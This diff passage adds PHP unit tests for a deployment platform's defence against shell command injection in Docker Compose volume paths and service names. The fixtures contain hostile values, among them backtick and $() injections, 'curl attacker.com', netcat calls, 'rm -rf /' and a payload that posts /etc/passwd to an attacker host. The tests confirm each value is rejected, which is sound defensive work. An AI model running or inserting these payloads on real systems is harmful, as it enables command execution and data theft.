test('service names provide helpful error messages', function () {
|
||||
$maliciousServiceName = 'evil`command`';
|
||||
|
||||
try {
|
||||
validateShellSafePath($maliciousServiceName, 'service name');
|
||||
expect(false)->toBeTrue('Should have thrown exception');
|
||||
} catch (Exception $e) {
|
||||
expect($e->getMessage())->toContain('service name');
|
||||
expect($e->getMessage())->toContain('backtick');
|
||||
}
|
||||
});
|
||||
|
||||
test('multiple malicious services in one compose file', function () {
|
||||
$maliciousCompose = <<<'YAML'
|
||||
services:
|
||||
'web`whoami`':
|
||||
image: nginx
|
||||
'api$(cat /etc/passwd)':
|
||||
image: node
|
||||
database:
|
||||
image: postgres
|
||||
'cache; curl attacker.com':
|
||||
image: redis
|
||||
YAML;
|
||||
|
||||
$parsed = Yaml::parse($maliciousCompose);
|
||||
$serviceNames = array_keys($parsed['services']);
|
||||
|
||||
// First and second service names should fail
|
||||
expect(fn () => validateShellSafePath($serviceNames[0], 'service name'))
|
||||
->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath($serviceNames[1], 'service name'))
|
||||
->toThrow(Exception::class);
|
||||
|
||||
// Third service name should pass (legitimate)
|
||||
expect(fn () => validateShellSafePath($serviceNames[2], 'service name'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
// Fourth service name should fail
|
||||
expect(fn () => validateShellSafePath($serviceNames[3], 'service name'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('service names with spaces are allowed', function () {
|
||||
// Spaces themselves are not dangerous - shell escaping handles them
|
||||
// Docker Compose might not allow spaces in service names anyway, but we shouldn't reject them
|
||||
$serviceName = 'my service';
|
||||
|
||||
expect(fn () => validateShellSafePath($serviceName, 'service name'))
|
||||
->not->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('common Docker Compose service naming patterns are allowed', function () {
|
||||
$commonNames = [
|
||||
'web',
|
||||
'api',
|
||||
'database',
|
||||
'redis',
|
||||
'postgres',
|
||||
'mysql',
|
||||
'mongodb',
|
||||
'app-server',
|
||||
'web_frontend',
|
||||
'api.backend',
|
||||
'db-01',
|
||||
'worker_1',
|
||||
'service123',
|
||||
];
|
||||
|
||||
foreach ($commonNames as $name) {
|
||||
expect(fn () => validateShellSafePath($name, 'service name'))
|
||||
->not->toThrow(Exception::class);
|
||||
}
|
||||
});
|
||||
55
tests/Unit/ServiceParserImageUpdateTest.php
Normal file
55
tests/Unit/ServiceParserImageUpdateTest.php
Normal file
|
|
@ -0,0 +1,55 @@
|
|||
<?php
|
||||
|
||||
/**
|
||||
* Unit tests to verify that service parser correctly handles image updates
|
||||
* without creating duplicate ServiceApplication or ServiceDatabase records.
|
||||
*
|
||||
* These tests verify the fix for the issue where changing an image in a
|
||||
* docker-compose file would create a new service instead of updating the existing one.
|
||||
*/
|
||||
it('ensures service parser does not include image in firstOrCreate query', function () {
|
||||
// Read the serviceParser function from parsers.php
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// Check that firstOrCreate is called with only name and service_id
|
||||
// and NOT with image parameter in the ServiceApplication presave loop
|
||||
expect($parsersFile)
|
||||
->toContain("firstOrCreate([\n 'name' => \$serviceName,\n 'service_id' => \$resource->id,\n ]);")
|
||||
->not->toContain("firstOrCreate([\n 'name' => \$serviceName,\n 'image' => \$image,\n 'service_id' => \$resource->id,\n ]);");
|
||||
});
|
||||
|
||||
it('ensures service parser updates image after finding or creating service', function () {
|
||||
// Read the serviceParser function from parsers.php
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// Check that image update logic exists after firstOrCreate
|
||||
expect($parsersFile)
|
||||
->toContain('// Update image if it changed')
|
||||
->toContain('if ($savedService->image !== $image) {')
|
||||
->toContain('$savedService->image = $image;')
|
||||
->toContain('$savedService->save();');
|
||||
});
|
||||
|
||||
it('ensures parseDockerComposeFile does not create duplicates on null savedService', function () {
|
||||
// Read the parseDockerComposeFile function from shared.php
|
||||
$sharedFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/shared.php');
|
||||
|
||||
// Check that the duplicate creation logic after is_null check has been fixed
|
||||
// The old code would create a duplicate if savedService was null
|
||||
// The new code checks for null within the else block and creates only if needed
|
||||
expect($sharedFile)
|
||||
->toContain('if (is_null($savedService)) {')
|
||||
->toContain('$savedService = ServiceDatabase::create([');
|
||||
});
|
||||
|
||||
it('verifies image update logic is present in parseDockerComposeFile', function () {
|
||||
// Read the parseDockerComposeFile function from shared.php
|
||||
$sharedFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/shared.php');
|
||||
|
||||
// Verify the image update logic exists
|
||||
expect($sharedFile)
|
||||
->toContain('// Check if image changed')
|
||||
->toContain('if ($savedService->image !== $image) {')
|
||||
->toContain('$savedService->image = $image;')
|
||||
->toContain('$savedService->save();');
|
||||
});
|
||||
150
tests/Unit/ValidateShellSafePathTest.php
Normal file
150
tests/Unit/ValidateShellSafePathTest.php
Normal file
|
|
@ -0,0 +1,150 @@
|
|||
<?php
|
||||
|
||||
test('allows safe paths without special characters', function () {
|
||||
$safePaths = [
|
||||
'/var/lib/data',
|
||||
'./relative/path',
|
||||
'named-volume',
|
||||
'my_volume_123',
|
||||
'/home/user/app/data',
|
||||
'C:/Windows/Path',
|
||||
'/path-with-dashes',
|
||||
'/path_with_underscores',
|
||||
'volume.with.dots',
|
||||
];
|
||||
|
||||
foreach ($safePaths as $path) {
|
||||
expect(fn () => validateShellSafePath($path, 'test'))->not->toThrow(Exception::class);
|
||||
}
|
||||
});
|
||||
|
||||
test('blocks backtick command substitution', function () {
|
||||
$path = '/tmp/pwn`curl attacker.com`';
|
||||
|
||||
expect(fn () => validateShellSafePath($path, 'test'))
|
||||
->toThrow(Exception::class, 'backtick');
|
||||
});
|
||||
|
||||
test('blocks dollar-paren command substitution', function () {
|
||||
$path = '/tmp/pwn$(cat /etc/passwd)';
|
||||
|
||||
expect(fn () => validateShellSafePath($path, 'test'))
|
||||
->toThrow(Exception::class, 'command substitution');
|
||||
});
|
||||
|
||||
test('blocks pipe operators', function () {
|
||||
$path = '/tmp/file | nc attacker.com 1234';
|
||||
|
||||
expect(fn () => validateShellSafePath($path, 'test'))
|
||||
->toThrow(Exception::class, 'pipe');
|
||||
});
|
||||
|
||||
test('blocks semicolon command separator', function () {
|
||||
$path = '/tmp/file; curl attacker.com';
|
||||
|
||||
expect(fn () => validateShellSafePath($path, 'test'))
|
||||
->toThrow(Exception::class, 'separator');
|
||||
});
|
||||
|
||||
test('blocks ampersand operators', function () {
|
||||
$paths = [
|
||||
'/tmp/file & curl attacker.com',
|
||||
'/tmp/file && curl attacker.com',
|
||||
];
|
||||
|
||||
foreach ($paths as $path) {
|
||||
expect(fn () => validateShellSafePath($path, 'test'))
|
||||
->toThrow(Exception::class, 'operator');
|
||||
}
|
||||
});
|
||||
|
||||
test('blocks redirection operators', function () {
|
||||
$paths = [
|
||||
'/tmp/file > /dev/null',
|
||||
'/tmp/file < input.txt',
|
||||
'/tmp/file >> output.log',
|
||||
];
|
||||
|
||||
foreach ($paths as $path) {
|
||||
expect(fn () => validateShellSafePath($path, 'test'))
|
||||
->toThrow(Exception::class);
|
||||
}
|
||||
});
|
||||
|
||||
test('blocks newline command separator', function () {
|
||||
$path = "/tmp/file\ncurl attacker.com";
|
||||
|
||||
expect(fn () => validateShellSafePath($path, 'test'))
|
||||
->toThrow(Exception::class, 'newline');
|
||||
});
|
||||
|
||||
test('blocks tab character as token separator', function () {
|
||||
$path = "/tmp/file\tcurl attacker.com";
|
||||
|
||||
expect(fn () => validateShellSafePath($path, 'test'))
|
||||
->toThrow(Exception::class, 'tab');
|
||||
});
|
||||
|
||||
test('blocks complex command injection with the example from issue', function () {
|
||||
$path = '/tmp/pwn`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`';
|
||||
|
||||
expect(fn () => validateShellSafePath($path, 'volume source'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('blocks nested command substitution', function () {
|
||||
$path = '/tmp/$(echo $(whoami))';
|
||||
|
||||
expect(fn () => validateShellSafePath($path, 'test'))
|
||||
->toThrow(Exception::class, 'command substitution');
|
||||
});
|
||||
|
||||
test('blocks variable substitution patterns', function () {
|
||||
$paths = [
|
||||
'/tmp/${PWD}',
|
||||
'/tmp/${PATH}',
|
||||
'data/${USER}',
|
||||
];
|
||||
|
||||
foreach ($paths as $path) {
|
||||
expect(fn () => validateShellSafePath($path, 'test'))
|
||||
->toThrow(Exception::class);
|
||||
}
|
||||
});
|
||||
|
||||
test('provides context-specific error messages', function () {
|
||||
$path = '/tmp/evil`command`';
|
||||
|
||||
try {
|
||||
validateShellSafePath($path, 'volume source');
|
||||
expect(false)->toBeTrue('Should have thrown exception');
|
||||
} catch (Exception $e) {
|
||||
expect($e->getMessage())->toContain('volume source');
|
||||
}
|
||||
|
||||
try {
|
||||
validateShellSafePath($path, 'service name');
|
||||
expect(false)->toBeTrue('Should have thrown exception');
|
||||
} catch (Exception $e) {
|
||||
expect($e->getMessage())->toContain('service name');
|
||||
}
|
||||
});
|
||||
|
||||
test('handles empty strings safely', function () {
|
||||
expect(fn () => validateShellSafePath('', 'test'))->not->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('allows paths with spaces', function () {
|
||||
// Spaces themselves are not dangerous in properly quoted shell commands
|
||||
// The escaping should be handled elsewhere (e.g., escapeshellarg)
|
||||
$path = '/path/with spaces/file';
|
||||
|
||||
expect(fn () => validateShellSafePath($path, 'test'))->not->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('blocks multiple attack vectors in one path', function () {
|
||||
$path = '/tmp/evil`curl attacker.com`; rm -rf /; echo "pwned" > /tmp/hacked';
|
||||
|
||||
expect(fn () => validateShellSafePath($path, 'test'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
270
tests/Unit/VolumeArrayFormatSecurityTest.php
Normal file
270
tests/Unit/VolumeArrayFormatSecurityTest.php
Normal file
|
|
@ -0,0 +1,270 @@
|
|||
<?php
|
||||
|
||||
use Symfony\Component\Yaml\Yaml;
|
||||
|
||||
test('demonstrates array-format volumes from YAML parsing', function () {
|
||||
// This is how Docker Compose long syntax looks in YAML
|
||||
$dockerComposeYaml = <<<'YAML'
|
||||
services:
|
||||
web:
|
||||
image: nginx
|
||||
volumes:
|
||||
- type: bind
|
||||
source: ./data
|
||||
target: /app/data
|
||||
YAML;
|
||||
|
||||
$parsed = Yaml::parse($dockerComposeYaml);
|
||||
$volumes = $parsed['services']['web']['volumes'];
|
||||
|
||||
// Verify this creates an array format
|
||||
expect($volumes[0])->toBeArray();
|
||||
expect($volumes[0])->toHaveKey('type');
|
||||
expect($volumes[0])->toHaveKey('source');
|
||||
expect($volumes[0])->toHaveKey('target');
|
||||
});
|
||||
|
||||
test('malicious array-format volume with backtick injection', function () {
|
||||
$dockerComposeYaml = <<<'YAML'
|
||||
services:
|
||||
evil:
|
||||
image: alpine
|
||||
volumes:
|
||||
- type: bind
|
||||
source: '/tmp/pwn`curl attacker.com`'
|
||||
target: /app
|
||||
YAML;
|
||||
|
||||
$parsed = Yaml::parse($dockerComposeYaml);
|
||||
$volumes = $parsed['services']['evil']['volumes'];
|
||||
|
||||
// The malicious volume is now an array
|
||||
expect($volumes[0])->toBeArray();
|
||||
expect($volumes[0]['source'])->toContain('`');
|
||||
|
||||
// When applicationParser or serviceParser processes this,
|
||||
// it should throw an exception due to our validation
|
||||
$source = $volumes[0]['source'];
|
||||
expect(fn () => validateShellSafePath($source, 'volume source'))
|
||||
->toThrow(Exception::class, 'backtick');
|
||||
});
|
||||
|
||||
test('malicious array-format volume with command substitution', function () {
|
||||
$dockerComposeYaml = <<<'YAML'
|
||||
services:
|
||||
evil:
|
||||
image: alpine
|
||||
volumes:
|
||||
- type: bind
|
||||
source: '/tmp/pwn$(cat /etc/passwd)'
|
||||
target: /app
|
||||
YAML;
|
||||
|
||||
$parsed = Yaml::parse($dockerComposeYaml);
|
||||
$source = $parsed['services']['evil']['volumes'][0]['source'];
|
||||
|
||||
expect(fn () => validateShellSafePath($source, 'volume source'))
|
||||
->toThrow(Exception::class, 'command substitution');
|
||||
});
|
||||
|
||||
test('malicious array-format volume with pipe injection', function () {
|
||||
$dockerComposeYaml = <<<'YAML'
|
||||
services:
|
||||
evil:
|
||||
image: alpine
|
||||
volumes:
|
||||
- type: bind
|
||||
source: '/tmp/file | nc attacker.com 1234'
|
||||
target: /app
|
||||
YAML;
|
||||
|
||||
$parsed = Yaml::parse($dockerComposeYaml);
|
||||
$source = $parsed['services']['evil']['volumes'][0]['source'];
|
||||
|
||||
expect(fn () => validateShellSafePath($source, 'volume source'))
|
||||
->toThrow(Exception::class, 'pipe');
|
||||
});
|
||||
|
||||
test('malicious array-format volume with semicolon injection', function () {
|
||||
$dockerComposeYaml = <<<'YAML'
|
||||
services:
|
||||
evil:
|
||||
image: alpine
|
||||
volumes:
|
||||
- type: bind
|
||||
source: '/tmp/file; curl attacker.com'
|
||||
target: /app
|
||||
YAML;
|
||||
|
||||
$parsed = Yaml::parse($dockerComposeYaml);
|
||||
$source = $parsed['services']['evil']['volumes'][0]['source'];
|
||||
|
||||
expect(fn () => validateShellSafePath($source, 'volume source'))
|
||||
->toThrow(Exception::class, 'separator');
|
||||
});
|
||||
|
||||
test('exact example from security report in array format', function () {
|
||||
$dockerComposeYaml = <<<'YAML'
|
||||
services:
|
||||
coolify:
|
||||
image: alpine
|
||||
volumes:
|
||||
- type: bind
|
||||
source: '/tmp/pwn`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`'
|
||||
target: /app
|
||||
YAML;
|
||||
|
||||
$parsed = Yaml::parse($dockerComposeYaml);
|
||||
$source = $parsed['services']['coolify']['volumes'][0]['source'];
|
||||
|
||||
// This should be caught by validation
|
||||
expect(fn () => validateShellSafePath($source, 'volume source'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('legitimate array-format volumes are allowed', function () {
|
||||
$dockerComposeYaml = <<<'YAML'
|
||||
services:
|
||||
web:
|
||||
image: nginx
|
||||
volumes:
|
||||
- type: bind
|
||||
source: ./data
|
||||
target: /app/data
|
||||
- type: bind
|
||||
source: /var/lib/data
|
||||
target: /data
|
||||
- type: volume
|
||||
source: my-volume
|
||||
target: /app/volume
|
||||
YAML;
|
||||
|
||||
$parsed = Yaml::parse($dockerComposeYaml);
|
||||
$volumes = $parsed['services']['web']['volumes'];
|
||||
|
||||
// All these legitimate volumes should pass validation
|
||||
foreach ($volumes as $volume) {
|
||||
$source = $volume['source'];
|
||||
expect(fn () => validateShellSafePath($source, 'volume source'))
|
||||
->not->toThrow(Exception::class);
|
||||
}
|
||||
});
|
||||
|
||||
test('array-format with environment variables', function () {
|
||||
$dockerComposeYaml = <<<'YAML'
|
||||
services:
|
||||
web:
|
||||
image: nginx
|
||||
volumes:
|
||||
- type: bind
|
||||
source: ${DATA_PATH}
|
||||
target: /app/data
|
||||
YAML;
|
||||
|
||||
$parsed = Yaml::parse($dockerComposeYaml);
|
||||
$source = $parsed['services']['web']['volumes'][0]['source'];
|
||||
|
||||
// Simple environment variables should be allowed
|
||||
expect($source)->toBe('${DATA_PATH}');
|
||||
// Our validation allows simple env var references
|
||||
$isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $source);
|
||||
expect($isSimpleEnvVar)->toBe(1); // preg_match returns 1 on success, not true
|
||||
});
|
||||
|
||||
test('array-format with safe environment variable default', function () {
|
||||
$dockerComposeYaml = <<<'YAML'
|
||||
services:
|
||||
web:
|
||||
image: nginx
|
||||
volumes:
|
||||
- type: bind
|
||||
source: '${DATA_PATH:-./data}'
|
||||
target: /app/data
|
||||
YAML;
|
||||
|
||||
$parsed = Yaml::parse($dockerComposeYaml);
|
||||
$source = $parsed['services']['web']['volumes'][0]['source'];
|
||||
|
||||
// Parse correctly extracts the source value
|
||||
expect($source)->toBe('${DATA_PATH:-./data}');
|
||||
|
||||
// Safe environment variable with benign default should be allowed
|
||||
// The pre-save validation skips env vars with safe defaults
|
||||
expect(fn () => validateDockerComposeForInjection($dockerComposeYaml))
|
||||
->not->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('array-format with malicious environment variable default', function () {
|
||||
$dockerComposeYaml = <<<'YAML'
|
||||
services:
|
||||
evil:
|
||||
image: alpine
|
||||
volumes:
|
||||
- type: bind
|
||||
source: '${VAR:-/tmp/evil`whoami`}'
|
||||
target: /app
|
||||
YAML;
|
||||
|
||||
$parsed = Yaml::parse($dockerComposeYaml);
|
||||
$source = $parsed['services']['evil']['volumes'][0]['source'];
|
||||
|
||||
// This contains backticks and should fail validation
|
||||
expect(fn () => validateShellSafePath($source, 'volume source'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('mixed string and array format volumes in same compose', function () {
|
||||
$dockerComposeYaml = <<<'YAML'
|
||||
services:
|
||||
web:
|
||||
image: nginx
|
||||
volumes:
|
||||
- './safe/data:/app/data'
|
||||
- type: bind
|
||||
source: ./another/safe/path
|
||||
target: /app/other
|
||||
- '/tmp/evil`whoami`:/app/evil'
|
||||
- type: bind
|
||||
source: '/tmp/evil$(id)'
|
||||
target: /app/evil2
|
||||
YAML;
|
||||
|
||||
$parsed = Yaml::parse($dockerComposeYaml);
|
||||
$volumes = $parsed['services']['web']['volumes'];
|
||||
|
||||
// String format malicious volume (index 2)
|
||||
expect(fn () => parseDockerVolumeString($volumes[2]))
|
||||
->toThrow(Exception::class);
|
||||
|
||||
// Array format malicious volume (index 3)
|
||||
$source = $volumes[3]['source'];
|
||||
expect(fn () => validateShellSafePath($source, 'volume source'))
|
||||
->toThrow(Exception::class);
|
||||
|
||||
// Legitimate volumes should work (indexes 0 and 1)
|
||||
expect(fn () => parseDockerVolumeString($volumes[0]))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
$safeSource = $volumes[1]['source'];
|
||||
expect(fn () => validateShellSafePath($safeSource, 'volume source'))
|
||||
->not->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('array-format target path injection is also blocked', function () {
|
||||
$dockerComposeYaml = <<<'YAML'
|
||||
services:
|
||||
evil:
|
||||
image: alpine
|
||||
volumes:
|
||||
- type: bind
|
||||
source: ./data
|
||||
target: '/app`whoami`'
|
||||
YAML;
|
||||
|
||||
$parsed = Yaml::parse($dockerComposeYaml);
|
||||
$target = $parsed['services']['evil']['volumes'][0]['target'];
|
||||
|
||||
// Target paths should also be validated
|
||||
expect(fn () => validateShellSafePath($target, 'volume target'))
|
||||
->toThrow(Exception::class, 'backtick');
|
||||
});
|
||||
186
tests/Unit/VolumeSecurityTest.php
Normal file
186
tests/Unit/VolumeSecurityTest.php
Normal file
|
|
@ -0,0 +1,186 @@
|
|||
<?php
|
||||
|
||||
test('parseDockerVolumeString rejects command injection in source path', function () {
|
||||
$maliciousVolume = '/tmp/pwn`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`:/app';
|
||||
|
||||
expect(fn () => parseDockerVolumeString($maliciousVolume))
|
||||
->toThrow(Exception::class, 'Invalid Docker volume definition');
|
||||
});
|
||||
|
||||
test('parseDockerVolumeString rejects backtick injection', function () {
|
||||
$maliciousVolumes = [
|
||||
'`whoami`:/app',
|
||||
'/tmp/evil`id`:/data',
|
||||
'./data`nc attacker.com 1234`:/app/data',
|
||||
];
|
||||
|
||||
foreach ($maliciousVolumes as $volume) {
|
||||
expect(fn () => parseDockerVolumeString($volume))
|
||||
->toThrow(Exception::class);
|
||||
}
|
||||
});
|
||||
|
||||
test('parseDockerVolumeString rejects dollar-paren injection', function () {
|
||||
$maliciousVolumes = [
|
||||
'$(whoami):/app',
|
||||
'/tmp/evil$(cat /etc/passwd):/data',
|
||||
'./data$(curl attacker.com):/app/data',
|
||||
];
|
||||
|
||||
foreach ($maliciousVolumes as $volume) {
|
||||
expect(fn () => parseDockerVolumeString($volume))
|
||||
->toThrow(Exception::class);
|
||||
}
|
||||
});
|
||||
|
||||
test('parseDockerVolumeString rejects pipe injection', function () {
|
||||
$maliciousVolume = '/tmp/file | nc attacker.com 1234:/app';
|
||||
|
||||
expect(fn () => parseDockerVolumeString($maliciousVolume))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('parseDockerVolumeString rejects semicolon injection', function () {
|
||||
$maliciousVolume = '/tmp/file; curl attacker.com:/app';
|
||||
|
||||
expect(fn () => parseDockerVolumeString($maliciousVolume))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('parseDockerVolumeString rejects ampersand injection', function () {
|
||||
$maliciousVolumes = [
|
||||
'/tmp/file & curl attacker.com:/app',
|
||||
'/tmp/file && curl attacker.com:/app',
|
||||
];
|
||||
|
||||
foreach ($maliciousVolumes as $volume) {
|
||||
expect(fn () => parseDockerVolumeString($volume))
|
||||
->toThrow(Exception::class);
|
||||
}
|
||||
});
|
||||
|
||||
test('parseDockerVolumeString accepts legitimate volume definitions', function () {
|
||||
$legitimateVolumes = [
|
||||
'gitea:/data',
|
||||
'./data:/app/data',
|
||||
'/var/lib/data:/data',
|
||||
'/etc/localtime:/etc/localtime:ro',
|
||||
'my-app_data:/var/lib/app-data',
|
||||
'C:/Windows/Data:/data',
|
||||
'/path-with-dashes:/app',
|
||||
'/path_with_underscores:/app',
|
||||
'volume.with.dots:/data',
|
||||
];
|
||||
|
||||
foreach ($legitimateVolumes as $volume) {
|
||||
$result = parseDockerVolumeString($volume);
|
||||
expect($result)->toBeArray();
|
||||
expect($result)->toHaveKey('source');
|
||||
expect($result)->toHaveKey('target');
|
||||
}
|
||||
});
|
||||
|
||||
test('parseDockerVolumeString accepts simple environment variables', function () {
|
||||
$volumes = [
|
||||
'${DATA_PATH}:/data',
|
||||
'${VOLUME_PATH}:/app',
|
||||
'${MY_VAR_123}:/var/lib/data',
|
||||
];
|
||||
|
||||
foreach ($volumes as $volume) {
|
||||
$result = parseDockerVolumeString($volume);
|
||||
expect($result)->toBeArray();
|
||||
expect($result['source'])->not->toBeNull();
|
||||
}
|
||||
});
|
||||
|
||||
test('parseDockerVolumeString rejects environment variables with command injection in default', function () {
|
||||
$maliciousVolumes = [
|
||||
'${VAR:-`whoami`}:/app',
|
||||
'${VAR:-$(cat /etc/passwd)}:/data',
|
||||
'${PATH:-/tmp;curl attacker.com}:/app',
|
||||
];
|
||||
|
||||
foreach ($maliciousVolumes as $volume) {
|
||||
expect(fn () => parseDockerVolumeString($volume))
|
||||
->toThrow(Exception::class);
|
||||
}
|
||||
});
|
||||
|
||||
test('parseDockerVolumeString accepts environment variables with safe defaults', function () {
|
||||
$safeVolumes = [
|
||||
'${VOLUME_DB_PATH:-db}:/data/db',
|
||||
'${DATA_PATH:-./data}:/app/data',
|
||||
'${VOLUME_PATH:-/var/lib/data}:/data',
|
||||
];
|
||||
|
||||
foreach ($safeVolumes as $volume) {
|
||||
$result = parseDockerVolumeString($volume);
|
||||
expect($result)->toBeArray();
|
||||
expect($result['source'])->not->toBeNull();
|
||||
}
|
||||
});
|
||||
|
||||
test('parseDockerVolumeString rejects injection in target path', function () {
|
||||
// While target paths are less dangerous, we should still validate them
|
||||
$maliciousVolumes = [
|
||||
'/data:/app`whoami`',
|
||||
'./data:/tmp/evil$(id)',
|
||||
'volume:/data; curl attacker.com',
|
||||
];
|
||||
|
||||
foreach ($maliciousVolumes as $volume) {
|
||||
expect(fn () => parseDockerVolumeString($volume))
|
||||
->toThrow(Exception::class);
|
||||
}
|
||||
});
|
||||
|
||||
test('parseDockerVolumeString rejects the exact example from the security report', function () {
|
||||
$exactMaliciousVolume = '/tmp/pwn`curl https://78dllxcupr3aicoacj8k7ab8jzpqdt1i.oastify.com -X POST --data "$(cat /etc/passwd)"`:/app';
|
||||
|
||||
expect(fn () => parseDockerVolumeString($exactMaliciousVolume))
|
||||
->toThrow(Exception::class, 'Invalid Docker volume definition');
|
||||
});
|
||||
|
||||
test('parseDockerVolumeString provides helpful error messages', function () {
|
||||
$maliciousVolume = '/tmp/evil`command`:/app';
|
||||
|
||||
try {
|
||||
parseDockerVolumeString($maliciousVolume);
|
||||
expect(false)->toBeTrue('Should have thrown exception');
|
||||
} catch (Exception $e) {
|
||||
expect($e->getMessage())->toContain('Invalid Docker volume definition');
|
||||
expect($e->getMessage())->toContain('backtick');
|
||||
expect($e->getMessage())->toContain('volume source');
|
||||
}
|
||||
});
|
||||
|
||||
test('parseDockerVolumeString handles whitespace with malicious content', function () {
|
||||
$maliciousVolume = ' /tmp/evil`whoami`:/app ';
|
||||
|
||||
expect(fn () => parseDockerVolumeString($maliciousVolume))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('parseDockerVolumeString rejects redirection operators', function () {
|
||||
$maliciousVolumes = [
|
||||
'/tmp/file > /dev/null:/app',
|
||||
'/tmp/file < input.txt:/app',
|
||||
'./data >> output.log:/app',
|
||||
];
|
||||
|
||||
foreach ($maliciousVolumes as $volume) {
|
||||
expect(fn () => parseDockerVolumeString($volume))
|
||||
->toThrow(Exception::class);
|
||||
}
|
||||
});
|
||||
|
||||
test('parseDockerVolumeString rejects newline and tab in volume strings', function () {
|
||||
// Newline can be used as command separator
|
||||
expect(fn () => parseDockerVolumeString("/data\n:/app"))
|
||||
->toThrow(Exception::class);
|
||||
|
||||
// Tab can be used as token separator
|
||||
expect(fn () => parseDockerVolumeString("/data\t:/app"))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
64
tests/Unit/WindowsPathVolumeTest.php
Normal file
64
tests/Unit/WindowsPathVolumeTest.php
Normal file
|
|
@ -0,0 +1,64 @@
|
|||
<?php
|
||||
|
||||
test('parseDockerVolumeString correctly handles Windows paths with drive letters', function () {
|
||||
$windowsVolume = 'C:\\host\\path:/container';
|
||||
|
||||
$result = parseDockerVolumeString($windowsVolume);
|
||||
|
||||
expect((string) $result['source'])->toBe('C:\\host\\path');
|
||||
expect((string) $result['target'])->toBe('/container');
|
||||
});
|
||||
|
||||
test('validateVolumeStringForInjection correctly handles Windows paths via parseDockerVolumeString', function () {
|
||||
$windowsVolume = 'C:\\Users\\Data:/app/data';
|
||||
|
||||
// Should not throw an exception
|
||||
validateVolumeStringForInjection($windowsVolume);
|
||||
|
||||
// If we get here, the test passed
|
||||
expect(true)->toBeTrue();
|
||||
});
|
||||
|
||||
test('validateVolumeStringForInjection rejects malicious Windows-like paths', function () {
|
||||
$maliciousVolume = 'C:\\host\\`whoami`:/container';
|
||||
|
||||
expect(fn () => validateVolumeStringForInjection($maliciousVolume))
|
||||
->toThrow(\Exception::class);
|
||||
});
|
||||
|
||||
test('validateDockerComposeForInjection handles Windows paths in compose files', function () {
|
||||
$dockerComposeYaml = <<<'YAML'
|
||||
services:
|
||||
web:
|
||||
image: nginx
|
||||
volumes:
|
||||
- C:\Users\Data:/app/data
|
||||
YAML;
|
||||
|
||||
// Should not throw an exception
|
||||
validateDockerComposeForInjection($dockerComposeYaml);
|
||||
|
||||
expect(true)->toBeTrue();
|
||||
});
|
||||
|
||||
test('validateDockerComposeForInjection rejects Windows paths with injection', function () {
|
||||
$dockerComposeYaml = <<<'YAML'
|
||||
services:
|
||||
web:
|
||||
image: nginx
|
||||
volumes:
|
||||
- C:\Users\$(whoami):/app/data
|
||||
YAML;
|
||||
|
||||
expect(fn () => validateDockerComposeForInjection($dockerComposeYaml))
|
||||
->toThrow(\Exception::class);
|
||||
});
|
||||
|
||||
test('Windows paths with complex paths and spaces are handled correctly', function () {
|
||||
$windowsVolume = 'C:\\Program Files\\MyApp:/app';
|
||||
|
||||
$result = parseDockerVolumeString($windowsVolume);
|
||||
|
||||
expect((string) $result['source'])->toBe('C:\\Program Files\\MyApp');
|
||||
expect((string) $result['target'])->toBe('/app');
|
||||
});
|
||||
|
|
@ -1,10 +1,10 @@
|
|||
{
|
||||
"coolify": {
|
||||
"v4": {
|
||||
"version": "4.0.0-beta.435"
|
||||
"version": "4.0.0-beta.436"
|
||||
},
|
||||
"nightly": {
|
||||
"version": "4.0.0-beta.436"
|
||||
"version": "4.0.0-beta.437"
|
||||
},
|
||||
"helper": {
|
||||
"version": "1.0.11"
|
||||
|
|
|
|||
Loading…
Reference in a new issue